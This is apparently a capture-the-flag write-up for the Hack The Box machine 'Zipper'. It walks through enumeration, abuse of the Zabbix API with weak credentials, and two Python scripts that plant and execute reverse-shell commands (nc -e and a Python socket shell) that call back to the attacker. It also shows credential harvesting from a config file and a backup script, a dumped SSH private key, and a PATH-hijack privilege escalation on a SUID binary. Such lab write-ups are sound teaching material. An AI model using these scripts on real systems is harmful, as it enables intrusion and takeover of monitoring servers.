Zipper

23/02/2019

Even considered hard, Zipper is not a difficult box. It requires a bit of enumeration and some API knowledge to obtain the user flag and to escalate privileges we just have to play with environment variables.


User

First run nmap to see ports 22 and 80 are open.

root@kali:~/htb/zipper# nmap -sC -sV 10.10.10.108
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-01 13:21 UTC
Nmap scan report for 10.10.10.108
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
|   256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_  256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.83 seconds

After running gobuster with tons of word lists without result, I found something using /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt.

root@kali:~/htb/zipper# /opt/gobuster/gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.108

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.108/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/02/06 09:45:24 Starting gobuster
=====================================================
/zabbix (Status: 301)
=====================================================
2019/02/06 10:03:57 Finished
=====================================================

On this site we have what it seems to be a Zabbix login panel.

Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines (VMs) and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption.

Logging as a guest user we can see the content of most dashboards and tabs.

In the Overview tab we can find the following information which could make us think that a user zapper exists on the system.

If we try to login with zapper/zapper we get the following error, instead of Login name or password is incorrect.

We can access to some documentation about the platform clicking on the help button, and inside, there's an API manual which we can use for our zapper user.

After playing around with the API I made the following script in python which creates a script and executes it to obtain a reverse shell. (The random part is because if a script with the same name already exists, the request returns an error).

import requests
import json
import netifaces
from random import randint

my_ip = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr']
url = 'http://10.10.10.108/zabbix/api_jsonrpc.php'
headers = {'Content-Type': 'application/json-rpc'}
data = {
    "jsonrpc": "2.0",
    "method": "user.login",
    "params": {
        "user": "zapper",
        "password": "zapper"
    },
    "id": 1,
    "auth": None
}
r = requests.post(url, data=json.dumps(data), headers=headers)
data['auth'] = r.json()['result']

data['method'] = "script.create"
data['params'] = {
    "name": "My shell - " + str(randint(1,99999)),
    "command": "nc " + my_ip + " 6969 -e /bin/bash"
}
r = requests.post(url, data=json.dumps(data), headers=headers)
script_id = r.json()['result']['scriptids'][0]

data['method'] = "host.get"
data['params'] = {}
r = requests.post(url, data=json.dumps(data), headers=headers)
host_id = r.json()['result'][0]['hostid']

data['method'] = "script.execute"
data['params'] = {
    "scriptid": script_id,
    "hostid": host_id
}
r = requests.post(url, data=json.dumps(data), headers=headers)

Unfortunately, the shell obtained doesn't look like our target machine and we don't have any flags here.

root@kali:~/htb/zipper# nc -nlvp 6969
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 10.10.10.108.
Ncat: Connection from 10.10.10.108:41526.
hostname
1d58c4093251
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 21020  bytes 4375105 (4.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18746  bytes 8477685 (8.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 6993  bytes 389915 (389.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6993  bytes 389915 (389.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

We have some credentials in a configuration file which we can use to login on Zabbix, but we can do the same through the API with zapper.

cat /etc/zabbix/web/zabbix.conf.php
<?php
// Zabbix GUI configuration file.
global $DB;

$DB['TYPE']     = 'MYSQL';
$DB['SERVER']   = 'localhost';
$DB['PORT']     = '0';
$DB['DATABASE'] = 'zabbixdb';
$DB['USER']     = 'zabbix';
$DB['PASSWORD'] = 'f.YMeMd$pTbpY3-449';

// Schema name. Used for IBM DB2 and PostgreSQL.
$DB['SCHEMA'] = '';

$ZBX_SERVER      = 'localhost';
$ZBX_SERVER_PORT = '10051';
$ZBX_SERVER_NAME = 'Zabbix';

$IMAGE_FORMAT_DEFAULT = IMAGE_FORMAT_PNG;

After playing a little bit more with the API I did some modifications to the script to be able to retrieve a shell in the intended machine.

import requests
import json
import netifaces
from random import randint

my_ip = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr']
url = 'http://10.10.10.108/zabbix/api_jsonrpc.php'
headers = {'Content-Type': 'application/json-rpc'}
data = {
    "jsonrpc": "2.0",
    "method": "user.login",
    "params": {
        "user": "zapper",
        "password": "zapper",
    },
    "id": 1,
    "auth": None
}
r = requests.post(url, data=json.dumps(data), headers=headers)
data['auth'] = r.json()['result']

data['method'] = "script.create"
data['params'] = {
    "name": "My shell - " + str(randint(1,99999)),
    "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+my_ip+"\",6969));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
    "execute_on": 0
}
r = requests.post(url, data=json.dumps(data), headers=headers)
script_id = r.json()['result']['scriptids'][0]

data['method'] = "host.get"
data['params'] = {}
r = requests.post(url, data=json.dumps(data), headers=headers)

for host in r.json()['result']:
    if host['name'] == 'Zipper':
        host_id = host['hostid']
        break

data['method'] = "script.execute"
data['params'] = {
    "scriptid": script_id,
    "hostid": host_id
}
r = requests.post(url, data=json.dumps(data), headers=headers)

Now we do get a reverse shell from the real Zipper.

root@kali:~/htb/zipper# nc -nlvp 6969
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 10.10.10.108.
Ncat: Connection from 10.10.10.108:44544.
/bin/sh: 0: can't access tty; job control turned off
$ hostname
zipper
$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:efff:fe46:16c7  prefixlen 64  scopeid 0x20<link>
        ether 02:42:ef:46:16:c7  txqueuelen 0  (Ethernet)
        RX packets 172436  bytes 42687034 (42.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 197671  bytes 38297831 (38.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.108  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:f274  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:f274  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:f2:74  txqueuelen 1000  (Ethernet)
        RX packets 491175  bytes 55976406 (55.9 MB)
        RX errors 1  dropped 3  overruns 0  frame 0
        TX packets 272993  bytes 50881038 (50.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19  base 0x2000  

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 7991  bytes 541956 (541.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7991  bytes 541956 (541.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth5911722: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::944e:40ff:fefa:6909  prefixlen 64  scopeid 0x20<link>
        ether 96:4e:40:fa:69:09  txqueuelen 0  (Ethernet)
        RX packets 172436  bytes 45101138 (45.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 197687  bytes 38299047 (38.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Upgrade the shell with python3.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
zabbix@zipper:/$ 

We have the user flag under zapper's folder, unfortunately we got our shell from zabbix and we don't have the right permissions to read it.

zabbix@zipper:/home/zapper$ ls -la
ls -la
total 48
drwxr-xr-x 6 zapper zapper 4096 Sep  9 19:12 .
drwxr-xr-x 3 root   root   4096 Sep  8 06:44 ..
-rw------- 1 zapper zapper    0 Sep  8 13:44 .bash_history
-rw-r--r-- 1 zapper zapper  220 Sep  8 06:44 .bash_logout
-rw-r--r-- 1 zapper zapper 4699 Sep  8 13:41 .bashrc
drwx------ 2 zapper zapper 4096 Sep  8 06:45 .cache
drwxrwxr-x 3 zapper zapper 4096 Sep  8 13:13 .local
-rw-r--r-- 1 zapper zapper  807 Sep  8 06:44 .profile
-rw-rw-r-- 1 zapper zapper   66 Sep  8 13:13 .selected_editor
drwx------ 2 zapper zapper 4096 Sep  8 13:14 .ssh
-rw------- 1 zapper zapper   33 Sep  9 19:07 user.txt
drwxrwxr-x 2 zapper zapper 4096 Sep  8 13:27 utils

But we do have permissions to read a backup.sh file in utils where there's a password (ZippityDoDah) used to zip some files.

zabbix@zipper:/home/zapper/utils$ cat backup.sh	
cat backup.sh
#!/bin/bash
#
# Quick script to backup all utilities in this folder to /backups
#
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null

Stupid zapper, he's using the same password in the machine.

zabbix@zipper:/home/zapper/utils$ su zapper
Password: ZippityDoDah


              Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗ 
╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
  ███╔╝ ██║██████╔╝██████╔╝█████╗  ██████╔╝
 ███╔╝  ██║██╔═══╝ ██╔═══╝ ██╔══╝  ██╔══██╗
███████╗██║██║     ██║     ███████╗██║  ██║
╚══════╝╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝  ╚═╝

[0] Packages Need To Be Updated
[>] Backups:
4.0K	/backups/zapper_backup-2019-02-06.7z
4.0K	/backups/zabbix_scripts_backup-2019-02-06.7z
                                      
zapper@zipper:~/utils$ 

We can read his ssh private key and use it to get a better shell.

zapper@zipper:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAzU9krR2wCgTrEOJY+dqbPKlfgTDDlAeJo65Qfn+39Ep0zLpR
l3C9cWG9WwbBlBInQM9beD3HlwLvhm9kL5s55PIt/fZnyHjYYkmpVKBnAUnPYh67
GtTbPQUmU3Lukt5KV3nf18iZvQe0v/YKRA6Fx8+Gcs/dgYBmnV13DV8uSTqDA3T+
eBy7hzXoxW1sInXFgKizCEXbe83vPIUa12o0F5aZnfqM53MEMcQxliTiG2F5Gx9M
2dgERDs5ogKGBv4PkgMYDPzXRoHnktSaGVsdhYNSxjNbqE/PZFOYBq7wYIlv/QPi
eBTz7Qh0NNR1JCAvM9MuqGURGJJzwdaO4IJJWQIDAQABAoIBAQDIu7MnPzt60Ewz
+docj4vvx3nFCjRuauA71JaG18C3bIS+FfzoICZY0MMeWICzkPwn9ZTs/xpBn3Eo
84f0s8PrAI3PHDdkXiLSFksknp+XNt84g+tT1IF2K67JMDnqBsSQumwMwejuVLZ4
aMqot7o9Hb3KS0m68BtkCJn5zPGoTXizTuhA8Mm35TovXC+djYwgDsCPD9fHsajh
UKmIIhpmmCbHHKmMtSy+P9jk1RYbpJTBIi34GyLruXHhl8EehJuBpATZH34KBIKa
8QBB1nGO+J4lJKeZuW3vOI7+nK3RqRrdo+jCZ6B3mF9a037jacHxHZasaK3eYmgP
rTkd2quxAoGBAOat8gnWc8RPVHsrx5uO1bgVukwA4UOgRXAyDnzOrDCkcZ96aReV
UIq7XkWbjgt7VjJIIbaPeS6wmRRj2lSMBwf1DqZIHDyFlDbrGqZkcRv76/q15Tt0
oTn4x8SRZ8wdTeSeNRE3c5aFgz+r6cklNwKzMNuiUzcOoR8NSVOJPqJzAoGBAOPY
ks9+AJAjUTUCUF5KF4UTwl9NhBzGCHAiegagc5iAgqcCM7oZAfKBS3oD9lAwnRX+
zH84g+XuCVxJCJaE7iLeJLJ4vg6P43Wv+WJEnuGylvzquPzoAflYyl3rx0qwCSNe
8MyoGxzgSRrTFtYodXtXY5FTY3UrnRXLr+Q3TZYDAoGBALU/NO5/3mP/RMymYGac
OtYx1DfFdTkyY3y9B98OcAKkIlaA0rPh8O+gOnkMuPXSia5mOH79ieSigxSfRDur
7hZVeJY0EGOJPSRNY5obTzgCn65UXvFxOQCYtTWAXgLlf39Cw0VswVgiPTa4967A
m9F2Q8w+ZY3b48LHKLcHHfx7AoGATOqTxRAYSJBjna2GTA5fGkGtYFbevofr2U8K
Oqp324emk5Keu7gtfBxBypMD19ZRcVdu2ZPOkxRkfI77IzUE3yh24vj30BqrAtPB
MHdR24daiU8D2/zGjdJ3nnU19fSvYQ1v5ObrIDhm9XNFRk6qOlUp+6lW7fsnMHBu
lHBG9NkCgYEAhqEr2L1YpAW3ol8uz1tEgPdhAjsN4rY2xPAuSXGXXIRS6PCY8zDk
WaPGjnJjg9NfK2zYJqI2FN+8Yyfe62G87XcY7ph8kpe0d6HdVcMFE4IJ8iKCemNE
Yh/DOMIBUavqTcX/RVve0rEkS8pErQqYgHLHqcsRUGJlJ6FSyUPwjnQ=
-----END RSA PRIVATE KEY-----

Copy it to our machine and we can ssh easily now.

root@kali:~/htb/zipper# ssh -i id_rsa zapper@10.10.10.108

We have the user flag in his home directory.

zapper@zipper:~$ cat user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

In the utils folder we also have a strange zabbix-service binary owned by root and with the SUID flag set.

zapper@zipper:~/utils$ ls -la
total 20
drwxrwxr-x 2 zapper zapper 4096 Sep  8 13:27 .
drwxr-xr-x 6 zapper zapper 4096 Sep  9 19:12 ..
-rwxr-xr-x 1 zapper zapper  194 Sep  8 13:12 backup.sh
-rwsr-sr-x 1 root   root   7556 Sep  8 13:05 zabbix-service

After some investigation we can see the program is executing systemctl when we select the start or stop option after running it.

zapper@zipper:~/utils$ strings zabbix-service
...
start or stop?: 
start
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
...

What we're going to do is modify the PATH environment variable to make it run our custom systemctl binary, instead of /bin/systemctl.

First of all, we will create that malicious binary which will simply run /bin/bash.

zapper@zipper:~/utils$ echo '/bin/bash' >> systemctl
zapper@zipper:~/utils$ chmod +x systemctl 

Edit PATH and add the location of our sytemctl at the beginning, therefore it will going to be found first.

zapper@zipper:~/utils$ which systemctl
/bin/systemctl
zapper@zipper:~/utils$ PATH=~/utils:$PATH
zapper@zipper:~/utils$ which systemctl
/home/zapper/utils/systemctl

Execute zabbix-service and we get a pretty root shell.

zapper@zipper:~/utils$ zabbix-service 
start or stop?: start

              Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗ 
╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
  ███╔╝ ██║██████╔╝██████╔╝█████╗  ██████╔╝
 ███╔╝  ██║██╔═══╝ ██╔═══╝ ██╔══╝  ██╔══██╗
███████╗██║██║     ██║     ███████╗██║  ██║
╚══════╝╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝  ╚═╝

[0] Packages Need To Be Updated
[>] Backups:
4.0K	/backups/zapper_backup-2019-02-06.7z
                                      
root@zipper:~/utils# 
root@zipper:~/utils# cat /root/root.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX